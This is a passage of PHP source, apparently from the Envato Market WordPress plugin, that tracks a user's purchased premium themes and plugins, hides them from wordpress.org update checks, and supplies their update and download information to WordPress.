plugins list. * * @since 1.0.0 * * @param string $group The plugin group. Options are 'purchased', 'active', 'installed', or 'install'. * @return array */ public function plugins( $group = '' ) { if ( ! empty( $group ) ) { if ( isset( self::$plugins[ $group ] ) ) { return self::$plugins[ $group ]; } else { return array(); } } return self::$plugins; } /** * Get the premium themes list. * * @since 1.0.0 * * @param string $group The theme group. Options are 'purchased', 'active', 'installed', or 'install'. * @return array */ public function themes( $group = '' ) { if ( ! empty( $group ) ) { if ( isset( self::$themes[ $group ] ) ) { return self::$themes[ $group ]; } else { return array(); } } return self::$themes; } /** * Get the list of WordPress plugins * * @since 1.0.0 * * @param bool $flush Forces a cache flush. Default is 'false'. * @return array */ public function wp_plugins( $flush = false ) { if ( empty( self::$wp_plugins ) || true === $flush ) { wp_cache_set( 'plugins', false, 'plugins' ); self::$wp_plugins = get_plugins(); } return self::$wp_plugins; } /** * Disables requests to the wp.org repository for premium themes. * * @since 1.0.0 * * @param array $request An array of HTTP request arguments. * @param string $url The request URL. * @return array */ public function update_check( $request, $url ) { // Theme update request. if ( false !== strpos( $url, '//api.wordpress.org/themes/update-check/1.1/' ) ) { /** * Excluded theme slugs that should never ping the WordPress API. * We don't need the extra http requests for themes we know are premium. */ self::set_themes(); $installed = self::$themes['installed']; // Decode JSON so we can manipulate the array. $data = json_decode( $request['body']['themes'] ); // Remove the excluded themes. foreach ( $installed as $slug => $id ) { unset( $data->themes->$slug ); } // Encode back into JSON and update the response. $request['body']['themes'] = wp_json_encode( $data ); } // Plugin update request. if ( false !== strpos( $url, '//api.wordpress.org/plugins/update-check/1.1/' ) ) { /** * Excluded theme slugs that should never ping the WordPress API. * We don't need the extra http requests for themes we know are premium. */ self::set_plugins(); $installed = self::$plugins['installed']; // Decode JSON so we can manipulate the array. $data = json_decode( $request['body']['plugins'] ); // Remove the excluded themes. foreach ( $installed as $slug => $id ) { unset( $data->plugins->$slug ); } // Encode back into JSON and update the response. $request['body']['plugins'] = wp_json_encode( $data ); } return $request; } /** * Inject update data for premium themes. * * @since 1.0.0 * * @param object $transient The pre-saved value of the `update_themes` site transient. * @return object */ public function update_themes( $transient ) { // Process premium theme updates. if ( isset( $transient->checked ) ) { self::set_themes( true ); $installed = array_merge( self::$themes['active'], self::$themes['installed'] ); foreach ( $installed as $slug => $premium ) { $theme = wp_get_theme( $slug ); if ( $theme->exists() && version_compare( $theme->get( 'Version' ), $premium['version'], '<' ) ) { $transient->response[ $slug ] = array( 'theme' => $slug, 'new_version' => $premium['version'], 'url' => $premium['url'], 'package' => envato_market()->api()->deferred_download( $premium['id'] ), ); } } } return $transient; } /** * Inject update data for premium plugins. * * @since 1.0.0 * * @param object $transient The pre-saved value of the `update_plugins` site transient. * @return object */ public function update_plugins( $transient ) { self::set_plugins( true ); // Process premium plugin updates. $installed = array_merge( self::$plugins['active'], self::$plugins['installed'] ); $plugins = self::wp_plugins(); foreach ( $installed as $plugin => $premium ) { if ( isset( $plugins[ $plugin ] ) && version_compare( $plugins[ $plugin ]['Version'], $premium['version'], '<' ) ) { $_plugin = array( 'slug' => dirname( $plugin ), 'plugin' => $plugin, 'new_version' => $premium['version'], 'url' => $premium['url'], 'package' => envato_market()->api()->deferred_download( $premium['id'] ), ); $transient->response[ $plugin ] = (object) $_plugin; } } return $transient; } /** * Inject API data for premium plugins. * * @since 1.0.0 * * @param bool $response Always false. * @param string $action The API action being performed. * @param object $args Plugin arguments. * @return bool|object $response The plugin info or false. */ public function plugins_api( $response, $action, $args ) { self::set_plugins( true ); // Process premium theme updates. if ( 'plugin_information' === $action && isset( $args->slug ) ) { $installed = array_merge( self::$plugins['active'], self::$plugins['installed'] ); foreach ( $installed as $slug => $plugin ) { if ( dirname( $slug ) === $args->slug ) { $response = new stdClass(); $response->slug = $args->slug; $response->plugin = $slug; $response->plugin_name = $plugin['name']; $response->name = $plugin['name']; $response->version = $plugin['version']; $response->author = $plugin['author']; $response->homepage = $plugin['url']; $response->requires = $plugin['requires']; $response->tested = $plugin['tested']; $response->downloaded = $plugin['number_of_sales']; $response->last_updated = $plugin['updated_at']; $response->sections = array( 'description' => $plugin['description'] ); $response->banners['low'] = $plugin['landscape_url']; $response->rating = ! empty( $plugin['rating'] ) && ! empty( $plugin['rating']['rating'] ) && $plugin['rating']['rating'] > 0 ? $plugin['rating']['rating'] / 5 * 100 : 0; $response->num_ratings = ! empty( $plugin['rating'] ) && ! empty( $plugin['rating']['count'] ) ? $plugin['rating']['count'] : 0; $response->download_link = envato_market()->api()->deferred_download( $plugin['id'] ); break; } } } return $response; } /** * Set the list of themes * * @since 1.0.0 * * @param bool $forced Forces an API request. Default is 'false'. * @param bool $use_cache Attempts to rebuild from the cache before making an API request. */ public function set_themes( $forced = false, $use_cache = false ) { $themes_transient = get_site_transient( envato_market()->get_option_name() . '_themes' ); self::$themes = is_array($themes_transient) ? $themes_transient : array(); if ( empty(self::$themes) || true === $forced ) { $themes = envato_market()->api()->themes(); foreach ( envato_market()->get_option( 'items', array() ) as $item ) { if ( empty( $item ) ) { continue; } if ( 'theme' === $item['type'] ) { $request_args = array( 'headers' => array( 'Authorization' => 'Bearer ' . $item['token'], ), ); $request = envato_market()->api()->item( $item['id'], $request_args ); if ( false !== $request ) { $themes[] = $request; } } } self::process_themes( $themes ); } elseif ( true === $use_cache ) { self::process_themes( self::$themes['purchased'] ); } } /** * Set the list of plugins * * @since 1.0.0 * * @param bool $forced Forces an API request. Default is 'false'. * @param bool $use_cache Attempts to rebuild from the cache before making an API request. * @param array $args Used to remove or add a plugin during activate and deactivate routines. */ public function set_plugins( $forced = false, $use_cache = false, $args = array() ) { $plugins_transient = get_site_transient( envato_market()->get_option_name() . '_plugins' ); self::$plugins = is_array($plugins_transient) ? $plugins_transient : array(); if ( empty(self::$plugins) || true === $forced ) { $plugins = envato_market()->api()->plugins(); foreach ( envato_market()->get_option( 'items', array() ) as $item ) { if ( empty( $item ) ) { continue; } if ( 'plugin' === $item['type'] ) { $request_args = array( 'headers' => array( 'Authorization' => 'Bearer ' . $item['token'], ), ); $request = envato_market()->api()->item( $item['id'], $request_args ); if ( false !== $request ) { $plugins[] = $request; } } } self::process_plugins( $plugins, $args ); } elseif ( true === $use_cache ) { self::process_plugins( self::$plugins['purchased'], $args ); } } /** * Rebuild the themes array using the cache value if possible. * * @since 1.0.0 * * @param mixed $filter Any data being filtered. * @return mixed */ public function rebuild_themes( $filter ) { self::set_themes( false, true ); return $filter; } /** * Rebuild the plugins array using the cache value if possible. * * @since 1.0.0 * * @param string $plugin The plugin to add or remove. */ public function rebuild_plugins( $plugin ) { $remove = ( 'deactivated_plugin' === current_filter() ) ? true : false; self::set_plugins( false, true, array( 'plugin' => $plugin, 'remove' => $remove, ) ); } /** * Normalizes a string to do a value check against. * * Strip all HTML tags including script and style & then decode the * HTML entities so `&` will equal `&` in the value check and * finally lower case the entire string. This is required becuase some * themes & plugins add a link to the Author field or ambersands to the * names, or change the case of their files or names, which will not match * the saved value in the database causing a false negative. * * @since 1.0.0 * * @param string $string The string to normalize. * @return string */ public function normalize( $string ) { return strtolower( html_entity_decode( wp_strip_all_tags( $string ) ) ); } /** * Process the themes and save the transient. * * @since 1.0.0 * * @param array $purchased The purchased themes array. */ private function process_themes( $purchased ) { if ( is_wp_error( $purchased ) ) { $purchased = array(); } $current = wp_get_theme()->get_template(); $active = array(); $installed = array(); $install = $purchased; if ( ! empty( $purchased ) ) { foreach ( wp_get_themes() as $theme ) { /** * WP_Theme object. * * @var WP_Theme $theme */ $template = $theme->get_template(); $title = $theme->get( 'Name' ); $author = $theme->get( 'Author' ); foreach ( $install as $key => $value ) { if ( $this->normalize( $value['name'] ) === $this->normalize( $title ) && $this->normalize( $value['author'] ) === $this->normalize( $author ) ) { $installed[ $template ] = $value; unset( $install[ $key ] ); } } } } if ( isset( $installed[ $current ] ) ) { $active[ $current ] = $installed[ $current ]; unset( $installed[ $current ] ); } self::$themes['purchased'] = array_unique( $purchased, SORT_REGULAR ); self::$themes['active'] = array_unique( $active, SORT_REGULAR ); self::$themes['installed'] = array_unique( $installed, SORT_REGULAR ); self::$themes['install'] = array_unique( array_values( $install ), SORT_REGULAR ); set_site_transient( envato_market()->get_option_name() . '_themes', self::$themes, HOUR_IN_SECONDS ); } /** * Process the plugins and save the transient. * * @since 1.0.0 * * @param array $purchased The purchased plugins array. * @param array $args Used to remove or add a plugin during activate and deactivate routines. */ private function process_plugins( $purchased, $args = array() ) { if ( is_wp_error( $purchased ) ) { $purchased = array(); } $active = array(); $installed = array(); $install = $purchased; if ( ! empty( $purchased ) ) { foreach ( self::wp_plugins( true ) as $slug => $plugin ) { foreach ( $install as $key => $value ) { if ( $this->normalize( $value['name'] ) === $this->normalize( $plugin['Name'] ) && $this->normalize( $value['author'] ) === $this->normalize( $plugin['Author'] ) && file_exists( WP_PLUGIN_DIR . '/' . $slug ) ) { $installed[ $slug ] = $value; unset( $install[ $key ] ); } } } } foreach ( $installed as $slug => $plugin ) { $condition = false; if ( ! empty( $args ) && $slug === $args['plugin'] ) { if ( true === $args['remove'] ) { continue; } $condition = true; } if ( $condition || is_plugin_active( $slug ) ) { $active[ $slug ] = $plugin; unset( $installed[ $slug ] ); } } self::$plugins['purchased'] = array_unique( $purchased, SORT_REGULAR ); self::$plugins['active'] = array_unique( $active, SORT_REGULAR ); self::$plugins['installed'] = array_unique( $installed, SORT_REGULAR ); self::$plugins['install'] = array_unique( array_values( $install ), SORT_REGULAR ); set_site_transient( envato_market()->get_option_name() . '_plugins', self::$plugins, HOUR_IN_SECONDS ); } } endif;